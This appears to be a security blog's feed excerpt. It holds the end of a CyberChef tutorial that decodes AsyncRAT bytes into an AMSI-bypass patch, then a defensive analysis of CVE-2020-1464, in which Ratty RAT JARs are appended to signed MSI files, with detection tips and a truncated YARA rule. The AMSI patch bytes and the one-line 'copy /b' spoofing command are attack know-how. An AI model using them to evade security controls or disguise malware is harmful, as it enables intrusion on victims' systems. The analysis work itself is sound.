&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2023/07/Step1_Cyberchef_Recipe_1.png&quot;&gt;&lt;img alt=&quot;Step 1 - CyberChef using Fork&quot; decoding=&quot;async&quot; height=&quot;816&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 795px) 100vw, 795px&quot; src=&quot;/wp-content/uploads/2023/07/Step1_Cyberchef_Recipe_1.png&quot; srcset=&quot;/wp-content/uploads/2023/07/Step1_Cyberchef_Recipe_1.png 795w, /wp-content/uploads/2023/07/Step1_Cyberchef_Recipe_1-292x300.png 292w, /wp-content/uploads/2023/07/Step1_Cyberchef_Recipe_1-768x788.png 768w&quot; width=&quot;795&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Step 1 CyberChef Recipe using Fork&lt;/figcaption&gt;&lt;/figure&gt;&lt;h6&gt;Step 2&lt;/h6&gt;&lt;p&gt;Using the &lt;strong&gt;To Base&lt;/strong&gt; operation with a radix of &lt;em&gt;16&lt;/em&gt;, convert the integers to hex. Then, use the &lt;strong&gt;Merge&lt;/strong&gt; operation to consolidate all the inputs into a single string.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2023/07/Step_2_Cyberchef_Recipe_1.png&quot;&gt;&lt;img alt=&quot;Step 2 - CyberChef using To Base&quot; decoding=&quot;async&quot; height=&quot;677&quot; loading=&quot;lazy&quot; src=&quot;/wp-content/uploads/2023/07/Step_2_Cyberchef_Recipe_1.png&quot; width=&quot;699&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Step 2 - CyberChef using To Base&lt;/figcaption&gt;&lt;/figure&gt;&lt;h6&gt;Final step&lt;/h6&gt;&lt;p&gt;Upon completion of the previous steps, it’s likely that some of the hex bytes are missing a leading zero.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;b8 57 &lt;strong&gt;0 7&lt;/strong&gt; 80 c3&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Let’s fix this using a simple regex &lt;code&gt;\b(\w)\b&lt;/code&gt; to detect single characters and replace the matches with 0$1 to add an extra zero in front.&lt;/p&gt;
&lt;p&gt;Once adjusted, you can either leverage an online &lt;a href=&quot;https://defuse.ca/online-x86-assembler.htm#disassembly2&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;disassembler&lt;/a&gt; or the built-in CyberChef &lt;strong&gt;Disassemble x86&lt;/strong&gt; operation.&lt;/p&gt;
&lt;div&gt;&lt;div aria-hidden=&quot;true&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;a data-rsh=&quot;1340&quot; data-rsw=&quot;1013&quot; href=&quot;/wp-content/uploads/2023/07/Last_Step_with_ext_disassembly.png&quot;&gt;&lt;span data-alt=&quot;Last Step CyberChef Recipe&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a data-rsh=&quot;1169&quot; data-rsw=&quot;1012&quot; href=&quot;/wp-content/uploads/2023/07/With_cyberchef_disassembler_amsi.png&quot;&gt;&lt;span data-alt=&quot;Last step using Disassembler operation&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;img alt=&quot;Last Step CyberChef Recipe&quot; decoding=&quot;async&quot; height=&quot;1340&quot; loading=&quot;lazy&quot; src=&quot;/wp-content/uploads/2023/07/Last_Step_with_ext_disassembly.png&quot; width=&quot;1013&quot;/&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr/&gt;&lt;p&gt;And there we have it – our integer array has been decoded to code:&lt;br/&gt;
&lt;code&gt;b8 57 00 07 80  mov    eax,0x80070057&lt;br/&gt;
c3               ret&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This code helps in AMSI bypass, for more details please read this &lt;a href=&quot;https://fluidattacks.com/blog/amsi-bypass/&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;AMSI Bypass Using Memory Patching&lt;/a&gt;&lt;/p&gt;

</content:encoded><category>tools/cyberchef</category><category>net</category><category>amsi</category><category>asyncrat</category><category>cyberchef</category><category>cyberchef-recipe</category><category>rat</category></item><item><title>Interesting tactic by Ratty &amp; Adwind for distribution of JAR appended to signed MSI – CVE-2020-1464</title><link>https://www.securityinbits.com/malware-analysis/interesting-tactic-by-ratty-adwind-distribution-of-jar-appended-to-signed-msi/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=680</guid><description>This article discusses an interesting tactic (CVE-2020-1464) actively used by different Java RAT malware authors like Ratty &amp; Adwind to distribute malicious JAR appended to signed MSI files.</description><pubDate>Sun, 28 Jun 2020 07:45:37 GMT</pubDate><content:encoded>&lt;p&gt;This article discusses an interesting tactic actively used by different Java RAT malware authors like Ratty &amp;amp; Adwind  to distribute malicious JAR appended to signed MSI files. This technique was discovered by VT Team in Aug 2018&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[9]&lt;/sup&gt;&lt;/a&gt; but that time it was not used by malware authors to distribute malicious JAR files. Thanks to EKTracker tweet&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[1]&lt;/sup&gt;&lt;/a&gt;, where I found this interesting Ratty hashes using this technique.&lt;/p&gt;
&lt;p&gt;Our &lt;strong&gt;goal&lt;/strong&gt; is to understand the unique technique instead of analysing the Java RAT.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-theme=&quot;dark&quot;&gt;
&lt;p dir=&quot;ltr&quot; lang=&quot;en&quot;&gt;1/ Interesting technique used by &lt;a href=&quot;https://twitter.com/hashtag/Ratty?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#Ratty&lt;/a&gt; sample for distribution of malicious JAR(zip) appended to MSI&lt;br/&gt;
So when the OS sees jar ext it executes jre to handle the file, but unique about zip files are read from bottom to top so jar is executed instead of msi file, details below &lt;a href=&quot;https://t.co/3u7487kUZy&quot;&gt;https://t.co/3u7487kUZy&lt;/a&gt; &lt;a href=&quot;https://t.co/jZw9s07X5z&quot;&gt;pic.twitter.com/jZw9s07X5z&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;— Securityinbits (@Securityinbits) &lt;a href=&quot;https://twitter.com/Securityinbits/status/1271406138588708866?ref_src=twsrc%5Etfw&quot;&gt;June 12, 2020&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3 id=&quot;contents&quot;&gt;CONTENTS&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;#overview&quot;&gt;Overview of ZIP, JAR &amp;amp; MSI file format&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#how&quot;&gt;How does it work?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#ratty&quot;&gt;Analysis of JAR appended to signed MSI files using Ratty RAT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#timeline&quot;&gt;Timeline&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#yara&quot;&gt;Yara Signature&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#iocs&quot;&gt;Indicator of Compromise&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#references&quot;&gt;References&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;overview&quot;&gt;1. Overview of ZIP, JAR &amp;amp; MSI file format&lt;/h3&gt;
&lt;p&gt;Before we discuss the technique we need to understand some concepts regarding ZIP, JAR and Windows Installer MSI files. If you already know this, please skip to the next section.&lt;/p&gt;
&lt;h5&gt;ZIP&lt;/h5&gt;
&lt;p&gt;PE files are read from top to bottom but ZIP files are read from bottom to top due to their design. Some more details from Wikipedia&lt;sup&gt;[2]&lt;/sup&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A directory is placed at the end of a ZIP file. This identifies what files are in the ZIP and identifies where in the ZIP that file is located. This allows ZIP readers to load the list of files without reading the entire ZIP archive. A ZIP file is correctly identified by the presence of an end of central directory record(EOCD) which is located at the end of the archive structure in order to allow the easy appending of new files.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;a href=&quot;https://commons.wikimedia.org/wiki/File:ZIP-64_Internal_Layout.svg&quot; title=&quot;Niklaus Aeschbache / Public domain&quot;&gt;&lt;img alt=&quot;ZIP-64 Internal Layout&quot; decoding=&quot;async&quot; height=&quot;272&quot; loading=&quot;lazy&quot; src=&quot;/images/posts/zip-64-internal-layout.png&quot; width=&quot;500&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;
Zip format from Wikipedia &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[2]&lt;/sup&gt;&lt;/a&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h5&gt;JAR&lt;/h5&gt;
&lt;p&gt;JAR files follow the zip format. Some more details from Wikipedia&lt;sup&gt;[3]&lt;/sup&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A JAR (Java ARchive) is a package file format typically used to aggregate many Java class files and associated metadata and resources (text, images, etc.) into one file for distribution.&lt;br/&gt;
JAR files are archive files that include a Java-specific manifest file. They are built on the ZIP format and typically have a .jar file extension.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h5&gt;MSI or Windows Installer&lt;/h5&gt;
&lt;p&gt;MSI file follows Compound File/Composite Document File V2 Document/Object Linking and Embedding (OLE). A compound file is a structure that is used to store a hierarchy of storage objects and stream objects into a single file or memory buffer. oletools and oledump can be used to browse the structure of MSI files&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[5]&lt;/sup&gt;&lt;/a&gt;. We will not go in so much detail of OLE file.&lt;/p&gt;
&lt;h3 id=&quot;how&quot;&gt;2. How does it work?&lt;/h3&gt;
&lt;p&gt;Malware author takes two files, one is a clean digital signed MSI file let say with filename &lt;em&gt;&lt;strong&gt;clean_signed.msi&lt;/strong&gt;&lt;/em&gt; and other is malicious JAVA RAT malware filename &lt;em&gt;&lt;strong&gt;malicious.jar&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/06/Overview-JAR-appended-to-MSI.png&quot;&gt;&lt;img alt=&quot;JAR appended to signed MSI&quot; decoding=&quot;async&quot; height=&quot;883&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 773px) 100vw, 773px&quot; src=&quot;/wp-content/uploads/2020/06/Overview-JAR-appended-to-MSI.png&quot; srcset=&quot;/wp-content/uploads/2020/06/Overview-JAR-appended-to-MSI.png 773w, /wp-content/uploads/2020/06/Overview-JAR-appended-to-MSI-263x300.png 263w, /wp-content/uploads/2020/06/Overview-JAR-appended-to-MSI-768x877.png 768w&quot; width=&quot;773&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Malicious JAR appended to signed MSI&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Steps:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Malware author select a clean &lt;em&gt;&lt;strong&gt;clean_signed.msi&lt;/strong&gt;&lt;/em&gt;  MSI file which is digitally code signed from Microsoft, Google etc. So maybe security control will not not scan the file due to it’s digital signature. The OS reads the file from top to bottom and see the digital signature, so everything is good till now.&lt;/li&gt;
&lt;li&gt;Other&lt;em&gt;&lt;strong&gt; malicious.jar&lt;/strong&gt;&lt;/em&gt; is &lt;span style=&quot;font-weight: 400;&quot;&gt;essentially&lt;/span&gt; a zip file which is read from bottom to top as discussed above.&lt;/li&gt;
&lt;li&gt;On Microsoft Windows systems, the Java Runtime Environment’s installation program will register a default association for JAR files so that double-clicking a JAR file on the desktop will automatically run it.&lt;/li&gt;
&lt;li&gt;Now, attackers just need to append the jar file to the MSI file and change the extension to jar.&lt;/li&gt;
&lt;li&gt;Attackers can use this command &lt;code&gt;copy /b clean_signed.msi + malicious.jar signed_malicious.jar&lt;/code&gt; to generate malicious signed file.&lt;/li&gt;
&lt;li&gt;When the user executes the  &lt;code&gt;signed_malicious.jar&lt;/code&gt;, it will execute the malicious jar file as it’s read from bottom to top.&lt;/li&gt;
&lt;/ol&gt;
&lt;h5&gt;Why is digital signature still valid?&lt;/h5&gt;
&lt;p&gt;After the attacker creates the signed_malicious.jar the digital signature is still valid due to the reason mentioned in the &lt;a href=&quot;https://blog.virustotal.com/2019/01/distribution-of-malicious-jar-appended.html&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;VirusTotal blog post.&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Code signing is the method of using a certificate-based digital signature to sign executables and scripts in order to verify the author’s identity and ensure that the code has not been changed or corrupted since it was signed by the author. This way, for example, if you modify the content or append any data to a signed Windows PE (.EXE) file the signature of the resulting file will not be valid for Microsoft Windows, as expected. This behaviour changes when you append any data to the end of a signed Windows Installer (.MSI), the resulting file will pass the verification process of Microsoft Windows and will show just the original signature as valid without any other warning.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;ratty&quot;&gt;3. Analysis of JAR appended to signed MSI files using Ratty RAT&lt;/h3&gt;
&lt;p&gt;We will analyse this Ratty 06-01-20.jar (MD5: 13a4072d8d0eba59712bb4ec251e0593) &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[10]&lt;/sup&gt;&lt;/a&gt; but the same process is applicable for the Adwind sample.&lt;/p&gt;
&lt;p&gt;1. Let’s start with checking the magic byte or file header of this file using &lt;em&gt;&lt;strong&gt;file&lt;/strong&gt;&lt;/em&gt; cmd and &lt;em&gt;&lt;strong&gt;xxd&lt;/strong&gt;&lt;/em&gt;.  Please feel free to use any other hex viewer.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/06/MSI-header.png&quot;&gt;&lt;img alt=&quot;MSI header using file and xxd for Ratty&quot; decoding=&quot;async&quot; height=&quot;481&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1170px) 100vw, 1170px&quot; src=&quot;/wp-content/uploads/2020/06/MSI-header.png&quot; srcset=&quot;/wp-content/uploads/2020/06/MSI-header.png 1170w, /wp-content/uploads/2020/06/MSI-header-300x123.png 300w, /wp-content/uploads/2020/06/MSI-header-1024x421.png 1024w, /wp-content/uploads/2020/06/MSI-header-768x316.png 768w&quot; width=&quot;1170&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;MSI header using file and xxd for Ratty&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;Based on the extension jar this file should have magic bytes for zip but the above figure shows the standard MSI file header with magic bytes &lt;strong&gt;D0 CF 11 E0 A1 B1 1A E1&lt;/strong&gt;.&lt;/p&gt;
&lt;aside class=&quot;callout&quot;&gt;&lt;p&gt;Note: This anomaly for extension not matching header is a good indicator to detect this and other kinds of attack.&lt;/p&gt;
&lt;/aside&gt;&lt;p&gt;2. Now if you check the digital signature using properties it looks ok.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/06/Digital-Signature.png&quot;&gt;&lt;img alt=&quot;Ratty Digital Signature&quot; decoding=&quot;async&quot; height=&quot;553&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 423px) 100vw, 423px&quot; src=&quot;/wp-content/uploads/2020/06/Digital-Signature.png&quot; srcset=&quot;/wp-content/uploads/2020/06/Digital-Signature.png 423w, /wp-content/uploads/2020/06/Digital-Signature-229x300.png 229w&quot; width=&quot;423&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Ratty Digital Signature&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/06/sigcheck_cropped.png&quot;&gt;&lt;img alt=&quot;Sigcheck on Ratty&quot; decoding=&quot;async&quot; height=&quot;289&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 991px) 100vw, 991px&quot; src=&quot;/wp-content/uploads/2020/06/sigcheck_cropped.png&quot; srcset=&quot;/wp-content/uploads/2020/06/sigcheck_cropped.png 991w, /wp-content/uploads/2020/06/sigcheck_cropped-300x87.png 300w, /wp-content/uploads/2020/06/sigcheck_cropped-768x224.png 768w&quot; width=&quot;991&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Sigcheck on Ratty&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;But using Sigcheck will say “&lt;strong&gt;Signed but the filesize is invalid (the file is too large)&lt;/strong&gt;“. This is another good detection point.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;3. Investigating further using &lt;em&gt;&lt;strong&gt;binwalk&lt;/strong&gt;&lt;/em&gt; on this &lt;strong&gt;06-01-20.jar&lt;/strong&gt; file you will see it matches different zip signatures starting from offset &lt;strong&gt;0xc600 &lt;/strong&gt;as shown in the figure below.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/06/binwalk.png&quot;&gt;&lt;img alt=&quot;binwalk Ratty output&quot; decoding=&quot;async&quot; height=&quot;622&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1319px) 100vw, 1319px&quot; src=&quot;/wp-content/uploads/2020/06/binwalk.png&quot; srcset=&quot;/wp-content/uploads/2020/06/binwalk.png 1319w, /wp-content/uploads/2020/06/binwalk-300x141.png 300w, /wp-content/uploads/2020/06/binwalk-1024x483.png 1024w, /wp-content/uploads/2020/06/binwalk-768x362.png 768w&quot; width=&quot;1319&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;binwalk Ratty output&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;Based on the output, you can easily guess there is a JAR appended to this MSI file.&lt;/p&gt;
&lt;p&gt;4. If you dump some bytes at offset using &lt;em&gt;&lt;strong&gt;xxd&lt;/strong&gt;&lt;/em&gt; you will see a zip header.&lt;br/&gt;
&lt;code&gt;xxd -s 0xc600 -l 0x100 06-01-20.jar&lt;/code&gt;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/06/hexdump-at-offset.png&quot;&gt;&lt;img alt=&quot;Hexdump at 0xc600&quot; decoding=&quot;async&quot; height=&quot;465&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 748px) 100vw, 748px&quot; src=&quot;/wp-content/uploads/2020/06/hexdump-at-offset.png&quot; srcset=&quot;/wp-content/uploads/2020/06/hexdump-at-offset.png 748w, /wp-content/uploads/2020/06/hexdump-at-offset-300x186.png 300w&quot; width=&quot;748&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Hexdump at 0xc600&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;5. Let’s extract the JAR file from offset 0xc600 then use  &lt;a href=&quot;https://bytecodeviewer.com/&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Bytecode Viewer&lt;/a&gt; to analyze the jar file. I am using dd for this but you can use any hex editor.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;dd skip=0xc600 if=06-01-20.jar of=extracted_ratty.jar bs=1&lt;/code&gt;&lt;br/&gt;
If you are new to Java reversing or &lt;a href=&quot;https://bytecodeviewer.com/&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Bytecode Viewer&lt;/a&gt;, you may want to check this &lt;a href=&quot;/malware-analysis/pyrogenic-infostealer-static-analysis-part-0x1/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Pyrogenic/Qealler Infostealer static analysis – Part 0x1&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/06/dd-cmd.png&quot;&gt;&lt;img alt=&quot;dd cmd for extracting Ratty jar&quot; decoding=&quot;async&quot; height=&quot;154&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 910px) 100vw, 910px&quot; src=&quot;/wp-content/uploads/2020/06/dd-cmd.png&quot; srcset=&quot;/wp-content/uploads/2020/06/dd-cmd.png 910w, /wp-content/uploads/2020/06/dd-cmd-300x51.png 300w, /wp-content/uploads/2020/06/dd-cmd-768x130.png 768w&quot; width=&quot;910&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;dd cmd for extracting Ratty jar&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;6. The extracted file is not packed so if you open the &lt;strong&gt;extracted_ratty.jar&lt;/strong&gt; in Bytecode Viewer, you can see the decompiled Java Code.&lt;/p&gt;
&lt;p&gt;Based on the package and folder structure this  &lt;strong&gt;extracted_ratty.jar&lt;/strong&gt; is based on this &lt;a href=&quot;https://github.com/iiizxD3six/Ratty-2.0&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;GitHub Ratty repo&lt;/a&gt;. I will not dig any further in this Ratty malware and decompiled Java code can be easily analysed.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/06/Ratty-Code-with-github.png&quot;&gt;&lt;img alt=&quot;Decompiled Ratty Code &amp;amp; Github repo&quot; decoding=&quot;async&quot; height=&quot;1109&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1506px) 100vw, 1506px&quot; src=&quot;/wp-content/uploads/2020/06/Ratty-Code-with-github.png&quot; srcset=&quot;/wp-content/uploads/2020/06/Ratty-Code-with-github.png 1506w, /wp-content/uploads/2020/06/Ratty-Code-with-github-300x221.png 300w, /wp-content/uploads/2020/06/Ratty-Code-with-github-1024x754.png 1024w, /wp-content/uploads/2020/06/Ratty-Code-with-github-768x566.png 768w&quot; width=&quot;1506&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Decompiled Ratty Code &amp;amp; Github repo&lt;/figcaption&gt;&lt;/figure&gt;&lt;h3 id=&quot;timeline&quot;&gt;4. Timeline&lt;/h3&gt;
&lt;p&gt;This technique was discovered by VirusTotal team&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[9]&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;VirusTotal posted a blog post&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[6]&lt;/sup&gt;&lt;/a&gt; about this technique and mentioned that it’s not being used massively to distribute malware.&lt;/p&gt;
&lt;p&gt;There were two other notable blog posts&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[7]&lt;/sup&gt;&lt;/a&gt; &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[8]&lt;/sup&gt;&lt;/a&gt; discussing VirusTotal blog.&lt;/p&gt;
&lt;p&gt;All three blog posts gives a great explanation of this technique.&lt;/p&gt;
&lt;p&gt;Malware author started using this technique for distribution of malicious Java RATs like Adwind and Ratty.&lt;/p&gt;
&lt;p&gt;At last, Microsoft decided to fix this &lt;a href=&quot;https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1464&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;CVE-2020-1464&lt;/a&gt; | Windows Spoofing Vulnerability. I suspect as malware authors started using this old bug which was discovered in Aug 2018, so Microsoft decided to fix it.&lt;/p&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;5. Conclusion&lt;/h3&gt;
&lt;p&gt;When I saw this interesting technique, I was puzzled.Hopefully, I have explained this technique detailed enough in this post.&lt;/p&gt;
&lt;h5&gt;Detection&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Anomaly for extension not matching header is a good indicator to detect this technique and below yara rule can be used.&lt;/li&gt;
&lt;li&gt;Check Sigcheck output “&lt;strong&gt;Signed but the filesize is invalid (the file is too large)&lt;/strong&gt;” for digital signed files&lt;/li&gt;
&lt;li&gt;AV may detect this suspicious behaviour of malicious JAR&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sharing Yara signature to detect this technique and IoCs below.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update 17 Aug, 2020&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Microsoft fixed this &lt;a href=&quot;https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1464&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;CVE-2020-1464&lt;/a&gt; (Windows Spoofing Vulnerability) as malware authors started actively exploiting this old bug which was discovered in Aug 2018. If you are interested to also learn about technical analysis about GlueBall CVE-2020-1464, please check out the awesome article &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[13]&lt;/sup&gt;&lt;/a&gt; by @TalBeerySec.&lt;/li&gt;
&lt;li&gt;Brian Krebs posted an article &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[14]&lt;/sup&gt;&lt;/a&gt; about this CVE-2020-1464 (GlueBall).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;yara&quot;&gt;6. Yara Signature&lt;/h3&gt;
&lt;pre class=&quot;shiki vitesse-dark&quot; style=&quot;background-color:#010101;color:#dbd7caee&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;rule&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; jar_in_msi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;    meta&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;        description = &lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;&quot;Detect jar appended to MSI&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;        author = &lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;&quot;Securityinbits&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;        date = &lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;&quot;2020-06-14&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;        reference = &lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;&quot;https://twitter.com/Securityinbits/status/1271406138588708866&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;        hash_1 = &lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;&quot;13a4072d8d0eba59712bb4ec251e0593&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;        hash_2 = &lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;&quot;63bed40e369b76379b47818ba912ee43&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;        hash_3 = &lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;&quot;85eb931d0d27179ae7c13085fb050b11&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;    strings&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#BD976A&quot;&gt;        $msi_magic&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; = { D0 CF &lt;/span&gt;&lt;span style=&quot;color:#4C9A91&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; E0 A1 B1 1A E1}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#758575DD&quot;&gt;        //To detect zip Local file header(lfh) &amp;#x26; End of central directory record(eocd)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#BD976A&quot;&gt;        $s_zip_magic_lfh&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; = {&lt;/span&gt;&lt;span style=&quot;color:#4C9A91&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; 4B &lt;/span&gt;&lt;span style=&quot;color:#4C9A91&quot;&gt;03&lt;/span&gt;&lt;span style=&quot;color:#4C9A91&quot;&gt; 04&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
